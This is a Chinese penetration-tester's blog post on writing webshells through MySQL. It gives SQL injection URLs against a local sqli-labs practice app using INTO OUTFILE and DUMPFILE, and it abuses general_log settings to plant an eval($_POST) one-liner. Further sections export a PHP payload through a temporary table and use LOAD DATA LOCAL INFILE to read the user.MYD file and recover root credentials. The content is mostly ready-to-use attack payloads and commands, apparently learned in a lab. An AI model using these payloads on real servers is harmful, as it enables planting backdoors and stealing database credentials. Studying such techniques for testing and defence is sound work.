基于mysql下的几种写shell方法

/ 1评 / 2

0x00

关于 mysql 下的写 shell 方法网上基本很多了,我原本也没打算总结总结的,毕竟网上已经很多了,不过在看 kilon 大佬的博客的时候,给我的感受就是明明一个几句话的东西,总能详细的,有条有理的记录下来,所以也正是如此,才有了这篇文章。

0x01

利用条件

1. 数据库当前用户为root权限

2. 知道当前网站的绝对路径

3. PHP的GPC为 off 状态

4. 写入的那个路径存在写入权限

0x02

基于联合查询法下的两个写入方法

1.

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,'<? phpinfo(); ?>' into outfile 'G:/2.txt' %23

2.

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,'<?php phpinfo() ?>' into dumpfile 'G:/2.txt' %23

0x03

非联合查询法下的写入操作

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile 'G:/2.txt' fields terminated by '<? phpinfo(); ?>'%23

0x04

基于log日志写shell法

show variables like '%general%';

查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。

set global general_log = on;

开启日志监测,一般是关闭的,如果一直开,文件会很大的。

set global general_log_file = 'G:/2.txt';

这里设置我们需要写入的路径就可以了。

select '<?php eval($_POST['shiyan']);?>';

查询一个一句话,这个时候log日志里就会记录这个。

set global general_log_file = 'D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log';

结束后,再修改为原来的路径。

set global general_log = off;

关闭下日志记录。

PS:这里有个注意事项如果是 Linux 下的原始记录好像 \ 这个斜杠就可以了,如果在 win 下的的话,建议复原时用 / ,要不然好像会被过滤掉,反正我测试的时候是这个问题。。。

0x05

一个很老的创建再导出的方法,我也搞不懂为什么要有这样存在,可能是存在即合理把,肯定有它的用处。

use test;

连接 test 数据库。

drop table if exists sy;

搜索并删除存在的 sy 这个表。

create table sy(eel text not null);

建立这个sy表,然后里面一个eel的字段。

insert into sy(eel) values ('<?php phpinfo(); ?>');

写进入一句话

SELECT eel FROM sy INTO OUTFILE 'G:/2.txt';

把这句话再导出来。

DROP TABLE sy;

删除这个表。

0x06

扩展项

如果你发现一个注入点,但是这个注入点只是一个普通权限没法写 shell ,那么请不要心慌还有一个鸡肋的方法,不过有时候却很管用。

利用条件:

1. 知道一个数据库用户账密

2. 能进入到 phpmyadmin 下

3. 一些默认文件路径位置没有更改

show variables like '%general%';

查看下当前的log日志路路径,根据这个路径推算出默认的 user.MYD 路径。一般默认的位置都是在 Mysql\data\mysql\user.MYD 这个路径下,当然还有其它的默认路径,需要自己总结。

LOAD DATA LOCAL INFILE 'D:/xampp/mysql/data/mysql/user.MYD' INTO TABLE 表名 FIELDS TERMINATED BY '';

把这个存有用户密码的配置文件导入到一个表里。

select * from text;

查询翻看记录,找到 root 密码。

ps:这里会是和上面的问题,蜜汁路径,一定要用 / 而不是 \ 这是在win下面的,还有个问题就是表里的属性一定要为 varchar() 这个,而且还容易出现导入不全的问题,多试下还是可以的。

那剩下的就不多说了,都懂,都懂。(*^▽^*)

0x07

很实用的几个常规写shell法,当然还有一些其他的什么的,计划任务加mysql写shell啊,Linux常规命令加mysql写shell,很多很多,总体来说的话,也就是把基础功能利用起来。

在立个flag把,下一篇博文,更新关于端口转发这类的研究,毕竟我也是花了好几天把kilon大佬博客看完的渗透师。

一条回应:“基于mysql下的几种写shell方法”

  1. 增大说道:

    受益匪浅,感触良多!

发表评论

电子邮件地址不会被公开。 必填项已用*标注